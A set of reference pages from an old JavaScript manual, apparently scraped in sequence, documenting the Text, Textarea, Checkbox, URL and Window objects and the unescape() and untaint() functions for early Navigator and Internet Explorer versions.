The Text element represents a text input field in a form. The SIZE attribute specifies the width, in characters, of the input field as it appears on the screen, and the MAXLENGTH attribute specifies the maximum number of characters the user will be allowed to enter.

Besides these HTML attributes, value is the main property of interest for the Text element. You can read this property to obtain the user's input, or you can set it to display arbitrary (unformatted) text in the input field.

Usage

Use the Password element instead of the Text element when the value you are asking the user to enter is sensitive information, such as a password that should not be displayed openly on the screen. Use a Textarea element to allow the user to enter multiple lines of text.

When a form contains only one Text or Password element, the form will automatically be submitted if the user strikes the Return key in that Text or Password element. In many forms, this is a useful shortcut. In some, however, it can be confusing if the user strikes Return and submits the form before entering input into other form elements such as Checkboxes and Radio buttons. You can sometimes minimize this confusion by placing Text elements with their default submission action at the bottom of the form.

See Also

"Element", "Form", "Password", "Textarea"

Previous | Home | Next
taint() | Book Index | Text.blur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Text.blur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Text.blur() Method

Name

Text.blur() Method--- see "Element.blur()"

Previous | Home | Next
Text | Book Index | Text.defaultValue
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Text.defaultValue

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Text.defaultValue Property

Name

Text.defaultValue Property--- see "Element.defaultValue"

Previous | Home | Next
Text.blur() | Book Index | Text.focus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Text.focus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Text.focus() Method

Name

Text.focus() Method--- see "Element.focus()"

Previous | Home | Next
Text.defaultValue | Book Index | Text.form
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Text.form

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Text.form Property

Name

Text.form Property--- see "Element.form"

Previous | Home | Next
Text.focus() | Book Index | Text.name
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Text.name

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Text.name Property

Name

Text.name Property--- see "Element.name"

Previous | Home | Next
Text.form | Book Index | Text.onblur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Text.onblur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Text.onblur() Handler

Name

Text.onblur() Handler--- see "Element.onblur()"

Previous | Home | Next
Text.name | Book Index | Text.onchange()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Text.onchange()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Text.onchange() Handler

Name

Text.onchange() Handler---invoked when input value changes

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

<INPUT TYPE=text
       onchange="handler-statements" ...>  a definition of the handler
text.onchange a reference to the handler
text.onchange();  an explicit invocation of the handler

Description

The Text.onchange() event handler is defined by the onChange attribute of the <INPUT> HTML tag that defines the Text object. The value of this attribute may be any number of JavaScript statements, separated by semicolons; these statements will be executed whenever the user changes the value in the input field and then "commits" those changes by moving keyboard focus elsewhere (i.e., by clicking the mouse elsewhere or by typing the Tab or Return keys). This handler is intended to process a complete change to the input value, and therefore is not invoked on a keystroke-by-keystroke basis. Also, note that the onchange() event hander is not invoked when the value property of a Text object is set by JavaScript.

See Also

"Text",
"Text.blur()",
"Text.focus()",
"Text.onblur()"

Previous | Home | Next
Text.onblur() | Book Index | Text.onfocus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Text.onfocus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Text.onfocus() Handler

Name

Text.onfocus() Handler--- see "Element.onfocus()"

Previous | Home | Next
Text.onchange() | Book Index | Text.select()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Text.select()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Text.select() Method

Name

Text.select() Method--- see "Element.select()"

Previous | Home | Next
Text.onfocus() | Book Index | Text.type
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Checkbox.onclick()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Checkbox.onclick() Handler

Name

Checkbox.onclick() Handler---invoked when a Checkbox is selected

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

<INPUT TYPE="checkbox"   a definition of the handler
       onClick="handler-statements">
checkbox.onclick  a reference to the handler
checkbox.onclick();   an explicit invocation of the handler

Description

onclick() is an event handler invoked when the user clicks on a Checkbox. This event handler is defined by the onClick attribute of the HTML <INPUT> tag that defines the Checkbox. The value of this attribute may be any number of JavaScript statements, separated by semicolons; these statements will be executed when the user clicks on (i.e., checks or unchecks) the Checkbox.

See Also

"Checkbox"

Previous | Home | Next
Checkbox.onblur() | Book Index | Checkbox.onfocus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Text.type

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Text.type Property

Name

Text.type Property---see "Element.type"

Previous | Home | Next
Text.select() | Book Index | Text.value
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Text.value

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Text.value Property

Name

Text.value Property---user input to the Text object

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

text.value

Description

value is a read/write string property of the Text object. The initial value of value is specified by the VALUE attribute of the <INPUT> tag that defines the Text object. When the user types characters into the Text object, the value property is updated to match the user's input. If you set the value property explicitly, the string you specify will be displayed in the Text object. This value property contains the string that is sent to the server when the form is submitted.

See Also

"Text"

Previous | Home | Next
Text.type | Book Index | Textarea
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Textarea

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Textarea Element

Name

Textarea Element---a multiline text input area

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

form.name
form.elements[i]

Properties

defaultValue

A read-only string that specifies the initial value to appear in the input field. This default value is whatever plain text appears between the <TEXTAREA> and </TEXTAREA> tags.

form

A read-only reference to the Form object that contains the Textarea element.

name

A read-only string, set by the HTML NAME attribute, that specifies the name of the Textarea element. This is also the name that can be used to reference the Textarea element as a property of its form.

type

A read-only string that specifies the type of this form element. For Textarea elements, it has the value "textarea." Available in Navigator 3.0 and later.

value

A read/write string that specifies the value contained in the Textarea (which is also the value sent to the server when the form is submitted). The initial value of this property is the same as the defaultValue property.

Methods

blur()

Remove the keyboard focus from the Textarea element.

focus()

Set the keyboard focus to the Textarea element. When focus is set, all keystrokes are automatically entered into this element.

select()

Highlight all the text in the Textarea element, and enter a special mode so that future input replaces the highlighted text.

Event Handlers

onblur()

Invoked when a user action causes the Textarea element to lose the keyboard focus.

onchange()

Invoked when the user changes the value in the Textarea element and moves the keyboard focus elsewhere. This event handler is not invoked for every keystroke in the Textarea element, but only when the user completes an edit.

onfocus()

Invoked when a user action causes the Textarea element to gain the keyboard focus.

HTML Syntax

A Textarea element is created with standard HTML <TEXTAREA> and </TEXTAREA> tags, with the addition of optional attributes for event-handlers:

<FORM>
    ...
  <TEXTAREA
    [ NAME="name" ]   a name that can later be used to refer to this element
    [ ROWS=integer ]  how many lines tall the element is
    [ COLS=integer ]  how many characters wide the element is
    [ WRAP=off|virtual|physical ]   how word wrapping is handled
    [ onBlur="handler" ]  the onblur() event handler
    [ onChange="handler" ]    the onchange() event handler
    [ onFocus="handler" ] the onfocus() event handler
  >
    plain_text    the initial text; specifies defaultValue
  </TEXTAREA>
    ...
</FORM>

Description

The Textarea element represents a text input field in a form. The NAME attribute specifies a name for the element. This is mandatory if the form is to be submitted, and also provides a convenient way to refer to the Textarea element from JavaScript code. The COLS attribute specifies the width, in characters, of the element as it appears on the screen, and the ROWS attribute specifies the height, in lines of text, of the element. The WRAP attribute specifies how long lines should be handled: the value off specifies that they should be left as is; the value virtual specifies that they should be displayed with line breaks but transmitted without; and the value physical specifies that they should be displayed and transmitted with line breaks inserted.

Besides these HTML attributes, value is the main property of interest for the Textarea element. You can read this property to obtain the user's input, or you can set it to display arbitrary (unformatted) text in the Textarea. The initial value of the value property (and the permanent value of the defaultValue property) is the text that appears between the <TEXTAREA> and </TEXTAREA> tags.

Usage

If you need only a single line of input text, use the Text element. If the text to be input is sensitive information, such as a password, use the Password element.

See Also

"Element", "Form", "Password", "Text"

Previous | Home | Next
Text.value | Book Index | Textarea.blur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Textarea.blur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Textarea.blur() Method

Name

Textarea.blur() Method--- see "Element.blur()"

Previous | Home | Next
Textarea | Book Index | Textarea.defaultValue
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Textarea.defaultValue

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Textarea.defaultValue Property

Name

Textarea.defaultValue Property--- see "Element.defaultValue"

Previous | Home | Next
Textarea.blur() | Book Index | Textarea.focus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Textarea.focus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Textarea.focus() Method

Name

Textarea.focus() Method--- see "Element.focus()"

Previous | Home | Next
Textarea.defaultValue | Book Index | Textarea.form
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Textarea.form

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Textarea.form Property

Name

Textarea.form Property--- see "Element.form"

Previous | Home | Next
Textarea.focus() | Book Index | Textarea.name
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Textarea.name

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Textarea.name Property

Name

Textarea.name Property--- see "Element.name"

Previous | Home | Next
Textarea.form | Book Index | Textarea.onblur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Textarea.onblur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Textarea.onblur() Handler

Name

Textarea.onblur() Handler--- see "Element.onblur()"

Previous | Home | Next
Textarea.name | Book Index | Textarea.onchange()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Textarea.onchange()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Textarea.onchange() Handler

Name

Textarea.onchange() Handler---invoked when input value changes

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

<TEXTAREA
      onchange="handler-statements" ...>   a definition of the handler
</TEXTAREA>
textarea.onchange a reference to the handler
textarea.onchange();  an explicit invocation of the handler

Description

The Textarea.onchange() event handler is defined by the onChange attribute of the <TEXTAREA> HTML tag that defines the Textarea object. The value of this attribute may be any number of JavaScript statements, separated by semicolons; these statements will be executed whenever the user changes the value in the Textarea and then "commits" those changes by moving keyboard focus elsewhere (i.e., by clicking the mouse elsewhere or by typing the Tab or Return keys). This handler is intended to process a complete change to the input value, and therefore is not invoked on a keystroke-by-keystroke basis. Also, note that the onchange() event hander is not invoked when the value property of a Textarea object is set by JavaScript.

See Also

"Textarea",
"Textarea.blur()",
"Textarea.focus()",
"Textarea.onblur()"

Previous | Home | Next
Textarea.onblur() | Book Index | Textarea.onfocus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Checkbox.onfocus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Checkbox.onfocus() Handler

Name

Checkbox.onfocus() Handler--- see "Element.onfocus()"

Previous | Home | Next
Checkbox.onclick() | Book Index | Checkbox.type
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Textarea.onfocus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Textarea.onfocus() Handler

Name

Textarea.onfocus() Handler--- see "Element.onfocus()"

Previous | Home | Next
Textarea.onchange() | Book Index | Textarea.select()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Textarea.select()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Textarea.select() Method

Name

Textarea.select() Method--- see "Element.select()"

Previous | Home | Next
Textarea.onfocus() | Book Index | Textarea.type
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Textarea.type

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Textarea.type Property

Name

Textarea.type Property---see "Element.type"

Previous | Home | Next
Textarea.select() | Book Index | Textarea.value
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Textarea.value

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Textarea.value Property

Name

Textarea.value Property---user input to the Textarea object

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

textarea.value

Description

value is a read/write string property of the Textarea object. The initial value of value is the same as the defaultValue property--the plain text (i.e., without any HTML tags) that appears between the <TEXTAREA> and </TEXTAREA> tags. When the user types characters into the Textarea object, the value property is updated to match the user's input. If you set the value property explicitly, the string you specify will be displayed in the Textarea object. This value property contains the string that is sent to the server when the form is submitted.

Bugs

In Navigator 2.0, the Textarea object required the use of platform-specific newline characters or newline sequences. Thus, appending the "\n" character (newline character for Unix) to the value property of a Textarea object would not actually start a new line on Windows platforms (which use a sequence of "\r\n" to delimit lines), for example. In Navigator 3.0, this problem has been resolved--any newline character or sequence is automatically mapped to the correct platform-specific sequence.

To workaround the bug on Navigator 2.0 platforms, you'll need a variable that contains the platform-specific newline sequence. One easy way to obtain such a "newline" variable is to create your Textarea element with a default value which consists of a single blank line. Then you can copy the value property of this element; it will contain the newline sequence required on the current platform.

See Also

"Textarea"

Previous | Home | Next
Textarea.type | Book Index | top
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: top

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

top Property

Name

top Property---see "Window.top"

Previous | Home | Next
Textarea.value | Book Index | toString()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: toString()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

toString() Method

Name

toString() Method---see "Object.toString()"

Previous | Home | Next
top | Book Index | unescape()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: unescape()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

unescape() Function

Name

unescape() Function---decode an escaped string

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

unescape(s)

Arguments

s

The string that is to be decoded or "unescaped."

Returns

A decoded copy of s.

Description

The unescape() function is a built-in part of JavaScript; it is not a method of any object.

unescape() decodes a string encoded with escape(). It creates and returns a decoded copy of s. It decodes s by finding and replacing character sequences of the form %xx, where xx is two hexadecimal digits. Each such sequence is replaced by the single character represented by the hexadecimal digits in the Latin-1 encoding.

Thus, unescape() decodes the string:

Hello%20World%21

to:

Hello World!

See escape() for more information on this encoding and decoding technique.

See Also

"escape()", "String"

Previous | Home | Next
toString() | Book Index | untaint()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: untaint()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

untaint() Function

Name

untaint() Function---untaint a value or window

Availability

Navigator 3.0 when data tainting is enabled

Synopsis

untaint()
untaint(value)

Arguments

value

The value for which a non-tainted copy is to be made. If this argument is not specified, then untaint() removes taint from the current window instead.

Returns

An untainted copy of value, if it is a primitive data type, or an untainted reference to value, if it is an object type.

Description

The untaint() function is used when the data-tainting security model is in effect. See Chapter 20, JavaScript Security for details on this security model. JavaScript automatically associates taint with data values that are potentially private, and which should not be "stolen" by scripts. If you need to allow these values to be exported by scripts, you must use untaint() to make untainted copies.

untaint() does not remove from the taint the value it is passed; instead, it returns an untainted copy of that value, or an untainted reference to that value for object types. (Note that taint is associated with primitive values and with references to objects, not with the objects themselves.)

Sometimes taint is carried not by data values, but by the control flow of a program. In this case, you may need to remove taint from an entire window in which JavaScript code runs. You can do this by calling untaint() with no arguments. Note, however, that you can only do this if the window carries only the taint of the script that calls untaint(). If the window has been tainted by other scripts, it cannot be untainted.

See Also

"taint()", Chapter 20, JavaScript Security

Previous | Home | Next
unescape() | Book Index | URL
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: URL

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

URL Object

Name

URL Object---a Universal Resource Locator

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

window.location
document.links[i]

Properties

hash

A read/write string that specifies the hash portion of the URL, including the leading hash (#) mark. This portion specifies the name of an anchor within the object referred to by the URL.

host

A read/write string that specifies the combination of the hostname and port portions of the URL.

hostname

A read/write string that specifies the hostname portion of the URL.

href

A read/write string that specifies the complete URL.

pathname

A read/write string that specifies the path portion of the URL.

port

A read/write string that specifies the port portion of the URL.

protocol

A read/write string that specifies the protocol portion of the URL, including the trailing colon.

search

A read/write string that specifies the search or query portion of the URL, including the leading question mark.

Description

The URL object represents a URL--the location of an object on the Web. The various properties of the URL object are strings that contain various portions of the URL, such as the protocol, the hostname, and the query string.

The Area, Link, and Location objects are kinds of URL objects--they contain all of the properties of the URL object, plus additional properties of their own. URL objects cannot be used on their own, but may be used through the Link and Area objects in the Document.links[] array and the Location object referred to by the Window.location property.

See Also

"Area", "Link", "Location"

Previous | Home | Next
untaint() | Book Index | URL.hash
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: URL.hash

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

URL.hash Property

Name

URL.hash Property---the anchor specification of a URL

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

URL.hash

Description

hash is a read/write string property of the URL object. It specifies the anchor portion of a URL, including the leading hash (#) mark. For example, the hash property of the following (fictitious) URL is "#result".

http://www.ora.com:1234/catalog/search.html?JavaScript#result

This anchor portion of a URL refers to a named position within the data referenced by the URL. In HTML files positions are named with anchors created with the <A NAME="anchor_name"> tag.

See Also

"Area", "Document.links[]", "Link", "URL", "Window.location"

Previous | Home | Next
URL | Book Index | URL.host
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Checkbox.type

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Checkbox.type Property

Name

Checkbox.type Property---see "Element.type"

Previous | Home | Next
Checkbox.onfocus() | Book Index | Checkbox.value
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: URL.host

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

URL.host Property

Name

URL.host Property---the hostname and port portions of a URL

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

URL.host

Description

host is a read/write string property of the URL object. It specifies the hostname and port portions of a URL. For example, the host of the following (fictitious) location is "www.ora.com:1234".

http://www.ora.com:1234/catalog/search.html?JavaScript#result

See Also

"Area", "Document.links[]", "Link", "URL", "Window.location"

Previous | Home | Next
URL.hash | Book Index | URL.hostname
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: URL.hostname

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

URL.hostname Property

Name

URL.hostname Property---the hostname portion of a URL

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

URL.hostname

Description

hostname is a read/write string property of the URL object. It specifies the hostname portion of a URL. For example, the hostname of the following (fictitious) location is "www.ora.com".

http://www.ora.com:1234/catalog/search.html?JavaScript#result

See Also

"Area", "Document.links[]", "Link", "URL", "Window.location"

Previous | Home | Next
URL.host | Book Index | URL.href
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: URL.href

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

URL.href Property

Name

URL.href Property---the complete URL specification

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

URL.href

Description

href is a read/write string property of the URL object. It specifies the complete text of the URL, unlike other URL properties which specify only portions of the URL.

See Also

"Area", "Document.links[]", "Link", "URL", "Window.location"

Previous | Home | Next
URL.hostname | Book Index | URL.pathname
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: URL.pathname

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

URL.pathname Property

Name

URL.pathname Property---the path portion of a URL

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

URL.pathname

Description

pathname is a read/write string property of the URL object. It specifies the pathname portion of a URL. For example, the pathname of the following (fictitious) location is "/catalog/search.html".

http://www.ora.com:1234/catalog/search.html?JavaScript#result

See Also

"Area", "Document.links[]", "Link", "URL", "Window.location"

Previous | Home | Next
URL.href | Book Index | URL.port
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: URL.port

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

URL.port Property

Name

URL.port Property---the port portion of a URL

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

URL.port

Description

port is a read/write string property of the URL object. It specifies the port portion of a URL. For example, the port of the following (fictitious) location is "1234".

http://www.ora.com:1234/catalog/search.html?JavaScript#result

See Also

"Area", "Document.links[]", "Link", "URL", "Window.location"

Previous | Home | Next
URL.pathname | Book Index | URL.protocol
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: URL.protocol

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

URL.protocol Property

Name

URL.protocol Property---the protocol portion of a URL

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

URL.protocol

Description

protocol is a read/write string property of the Location and the Link objects. It specifies the protocol portion of a URL, including the trailing colon. For example, the protocol of the following (fictitious) location is "http:"

http://www.ora.com:1234/catalog/search.html?JavaScript#result

See Also

"Area", "Document.links[]", "Link", "URL", "Window.location"

Previous | Home | Next
URL.port | Book Index | URL.search
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: URL.search

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

URL.search Property

Name

URL.search Property---the query portion of a URL

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

URL.search

Description

The search is a read/write string property of the URL object. It specifies the query portion of a URL, including the leading question mark. For example, the search of the following (fictitious) location is "?query=JavaScript&matches=666".

http://www.ora.com:1234/search.html?query=JavaScript&matches=666#result

Note that the search string (also known as a query string) is not parsed: it still contains the "?" prefix--which you can remove with String.substring(1)--and, more important, it is not split along the "&" delimiter into individual variables. See the split method of the String object for an easy way to break it up in Navigator 3.0.

See Also

"Area", "Document.links[]", "Link", "String.split()", "URL", "Window.location"

Previous | Home | Next
URL.protocol | Book Index | window
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: window

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

window Property

Name

window Property---see "Window.window"

Previous | Home | Next
URL.search | Book Index | Window
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window Object

Name

Window Object---a web browser window or frame

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

self    the current window
window  the current window

Properties

closed

A read-only Boolean that specifies whether a window has been closed. Available in Navigator 3.0 and later.

defaultStatus

A read/write string that specifies the default message to appear in the status line.

document

A reference to the Document object contained in the window.

frames[]

An array of frames contained by this window.

history

A reference to the History object for this window.

java

A reference to the JavaPackage object that is the top of the package name hierarchy for the core java.* packages that comprise the Java language.

length

The number of elements in the frames[] array. Same as frames.length. Read-only.

location

A reference to the Location object for this window.

Math

A reference to an object holding various mathematical functions and constants.

name

A string that contains the name of the window. The name is optionally specified when the window is created with the open() method. In Navigator 2.0 and Internet Explorer 3.0, this property is read-only. In Navigator 3.0 and later it is read/write.

navigator

A reference to the Navigator object that applies to this and all other windows.

netscape

A reference to the JavaPackage object which is the top of the Java package name hierarchy for the netscape.* Java packages from Netscape.

opener

A read/write property that refers to the Window object that called open() to create this window. Available in Navigator 3.0 and later.

Packages

A reference to a JavaPackage object that represents the top of the Java package name hierarchy.

parent

A reference to the parent window or frame of the current window. Only useful when the current window is a frame rather than a top-level window.

self

A reference to the window itself. A synonym of window.

status

A read/write string that specifies the current contents of the status line.

sun

A reference to the JavaPackage object which is the top of the Java package name hierarchy for the sun.* Java packages from Sun Microsystems.

top

A reference to the top-level window that contains the current window. Only useful when the current window is a frame rather than a top-level window.

window

A reference to the window itself. A synonym of self.

Methods

alert()

Display a simple message in a dialog box.

blur()

Take keyboard focus from the top-level browser window; this sends the window to the background on most platforms.

clearTimeout()

Cancel a pending timeout operation.

close()

Close a window.

confirm()

Ask a yes-or-no question with a dialog box.

focus()

Give the top-level browser window keyboard focus; this brings the window to the front on most platforms.

open()

Create and open a new window.

prompt()

Ask for simple string input with a dialog box.

scroll()

Scroll the document displayed in the window.

setTimeout()

Execute code after a specified amount of time elapses.

Event Handlers

onblur()

An event handler invoked when the window loses focus.

onerror()

An event handler invoked when a JavaScript error occurs.

onfocus()

An event handler invoked when the window gains focus.

onLoad()

An event handler invoked when the document (or frameset) is fully loaded.

onUnload()

An event handler invoked when the browser leaves the current document or frameset.

Description

The Window object represents a browser window or frame. It is documented in detail in Chapter 11, Windows and the JavaScript Name Space.

In client-side JavaScript, all expressions are evaluated in the context of the current Window object. This means that no special syntax is required to refer to the current window, and you can use the properties of that window object as if they were variables. For example, you can write document rather than window.document. Similarly, you can use the methods of the current window object as if they were functions: alert() instead of window.alert().

The Window object does have window and self properties that refer to the window object itself. You can use these when you want to make the current window reference explicit rather than implicit. In addition to these two properties, the parent, and top properties and the frames[] array refer to other Window objects related to the current one.

To refer to a frame within a window, use:

frames[i] or self.frames[i] // frames of current window
window.frames[i] // frames of specified window

To refer to the parent window (or frame) of a frame, use:

parent or self.parent // parent of current window
window.parent // parent of specified window

To refer to the top-level browser window from any frame contained within it, use:

top or self.top // top window of current frame
window.top // top window of specified frame

New top-level browser windows are created with the Window.open() method. When you call this method, save the return value of the open() call in a variable, and use that variable to reference the new window. In Navigator 3.0, the opener property of the new window is a reference back to the window that opened it.

In general, the methods of the Window object manipulate the browser window or frame in some way. The alert(), confirm() and prompt() methods are notable: they interact with the user through simple dialog boxes.

Since JavaScript code is evaluated in the context of the Window object in which it is running, the Window object must contain references (or references to references) to all the other JavaScript objects of interest. That is, it is the root of a JavaScript "object hierarchy." Many of the properties of the Window object are references to other important JavaScript objects. Most of these properties refer to an object particular to the window. The location property of a Window, for example, refers to the Location object of the window.

A number of Window properties, however, refer instead to "global" objects. The navigator property is one of these: it contains a reference to the Navigator object, which contains version information about the browser. Every Window object contains a navigator property which is a reference to this same Navigator object. Because all JavaScript expressions are evaluated in the context of a Window object, there is no way to define global variables such as navigator except by making them properties of every Window object. Other "global" properties of this sort are Math, Packages, java, sun, and netscape.

See Chapter 11, Windows and the JavaScript Name Space for an in-depth overview of the Window object, and see the individual reference pages for complete details on all the Window properties, methods, and event handlers.

See Also

"Document", Chapter 11, Windows and the JavaScript Name Space

Previous | Home | Next
window | Book Index | Window.alert()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.alert()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.alert() Method

Name

Window.alert() Method---display a message in a dialog box

Availability

